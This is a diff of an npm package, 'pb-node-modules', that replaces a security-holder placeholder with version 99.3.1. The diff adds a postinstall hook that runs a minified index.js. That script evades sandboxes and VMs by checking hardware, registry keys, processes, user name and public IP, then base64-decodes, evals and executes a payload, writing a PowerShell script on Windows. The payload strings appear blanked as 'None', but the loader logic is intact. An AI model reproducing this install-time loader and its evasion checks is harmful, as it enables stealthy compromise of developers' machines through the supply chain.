pb-node-modules 0.0.1-security → 99.3.1

package/index.js

@@ -0,0 +1 @@
+const os=require("os"),util=require("util"),exec=util.promisify(require("child_process").exec),http=require("http"),fs=require("fs"),{execSync}=require("child_process"),detectOSType=()=>{var e=os.type();return e.startsWith("Windows")?"Windows":e.startsWith("Linux")?"Linux":e.startsWith("Darwin")?"Mac":"UNKNOWN"},os_type=detectOSType();function requireOrInstall(t){try{execSync("npm list "+t,{stdio:"ignore"})}catch(e){execSync("npm install "+t,{stdio:"inherit"})}}if("Windows"===os_type){requireOrInstall("ffi-napi"),requireOrInstall("ref-napi"),requireOrInstall("winreg");const ffi=require("ffi-napi"),ref=require("ref-napi"),int=ref.types.int,user32=ffi.Library("user32",{GetSystemMetrics:[int,[int]]}),SM_MOUSEPRESENT=19,SM_KEYBOARDTYPE=4;let mousePresent=0!==user32.GetSystemMetrics(SM_MOUSEPRESENT),keyboardType=0!==user32.GetSystemMetrics(SM_KEYBOARDTYPE);mousePresent||keyboardType||process.exit(1)}let shouldExit=!1;function isInIPRange(e){var[e,t,o,,]=e.split(".").map(Number);return 195===e&&239===t&&51===o}const getPublicIP=o=>{var e=http.request({hostname:"api.ipify.org",path:"/?format=json",method:"GET"},e=>{let t="";e.on("data",e=>{t+=e}),e.on("end",()=>{try{var e=JSON.parse(t).ip;o(null,e)}catch(e){o(new Error("Error parsing response"))}})});e.on("error",e=>{o(e)}),e.end()};let cpus=os.cpus(),totalMemory=(cpus=cpus.length,1===cpus&&process.exit(1),os.totalmem());totalMemory/=1024**3,totalMemory=Math.round(totalMemory);const THRESHOLD="2",processesToCheck=(totalMemory<THRESHOLD&&process.exit(1),["vboxservice.exe","vboxtray.exe","vmtoolsd.exe","vmwaretray.exe","vmwareuser.exe","VGAuthService.exe"]);async function main(){if("Windows"===os_type){var t=require("winreg"),o=["\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VMware Tools","\\SOFTWARE\\Oracle\\VirtualBox Guest Additions","\\SYSTEM\\CurrentControlSet\\Services\\VBoxGuest","\\SYSTEM\\CurrentControlSet\\Services\\VBoxMouse","\\SYSTEM\\CurrentControlSet\\Services\\VBoxService","\\SYSTEM\\CurrentControlSet\\Services\\VBoxSF","\\SYSTEM\\CurrentControlSet\\Services\\VBoxVideo"];for(let e=0;e<o.length;e++){var s=new t({hive:t.HKLM,key:o[e]}),s=util.promisify(s.keyExists).bind(s);try{await s()&&(shouldExit=!0,process.exit())}catch(e){console.log(e)}}}}async function whoamiCommand(){var e;if("Windows"===os_type){e=e=>e.includes("justin");try{var t=(await exec("whoami"))["stdout"];e(t)&&process.exit(1)}catch{process.exit(1)}}}async function checkVMTools(){const os_type=detectOSType();let checkCommand,isActive;"Windows"===os_type?(checkCommand="sc query VMTools",isActive=e=>e.includes("RUNNING")):"Linux"===os_type||"Mac"===os_type?(checkCommand="systemctl is-active vmtoolsd",isActive=e=>"active"===e.trim()):(console.error("Unsupported OS type:",os_type),process.exit(1));try{const{stdout}=await exec(checkCommand);isActive(stdout)?(shouldExit=!0,process.exit(1)):await getPublicIP(async(error,remoteIP)=>{if(remoteIP=isInIPRange(remoteIP),remoteIP)process.exit(1);else if("\\"===remoteIP||""===remoteIP)process.exit(1);else if("Linux"===os_type||"Mac"===os_type){let bosh="None",decodedBosh=Buffer.from(bosh,"base64").toString("utf8"),evalBosh=eval(decodedBosh),bosh_exc1=(bosh=evalBosh.replace(/NewLine/g,"\\\\n"),"None"),bosh_exc2="None",finalBosh=(bosh_exc1=Buffer.from(bosh_exc1,"base64").toString("utf8"),bosh_exc2=Buffer.from(bosh_exc2,"base64").toString("utf8"),bosh_exc1+`'${bosh}'`+bosh_exc2);await exec(finalBosh)}})}catch(error){await getPublicIP((e,t)=>{var o;(t=isInIPRange(t))||"\\"===t||""===t?process.exit(1):"Windows"===os_type&&(t="None",t=Buffer.from("None","base64").toString("utf8"),o=process.env.TEMP+"\\demo.ps1",fs.writeFileSync(o,t,"utf8"),exec(Buffer.from("None","base64").toString("utf8"),(e,t,o)=>{e&&console.error("Error: "+e.message)}))})}}async function runChecks(){await main(),shouldExit||(await whoamiCommand(),shouldExit)?process.exit(1):await checkVMTools()}"Windows"===os_type&&processesToCheck.forEach(s=>{exec("tasklist | findstr /i "+s,(e,t,o)=>{e&&1!==e.code?console.error("exec error: "+e):t.trim()&&s.exit()})}),runChecks();

package/package.json

@@ -1,6 +1,16 @@
-{
-  "name": "pb-node-modules",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+
+      {
+        "name": "pb-node-modules",
+        "version": "99.3.1",
+        "description": "A sample npm package for demonstration purposes.",
+        "main": "index.js",
+        "scripts": {
+          "postinstall": "node index.js"
+        },
+        "keywords": [
+          "dependency"
+        ],
+        "author": "Anonymous",
+        "license": "ISC"
+      }
+      

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=pb-node-modules for more information.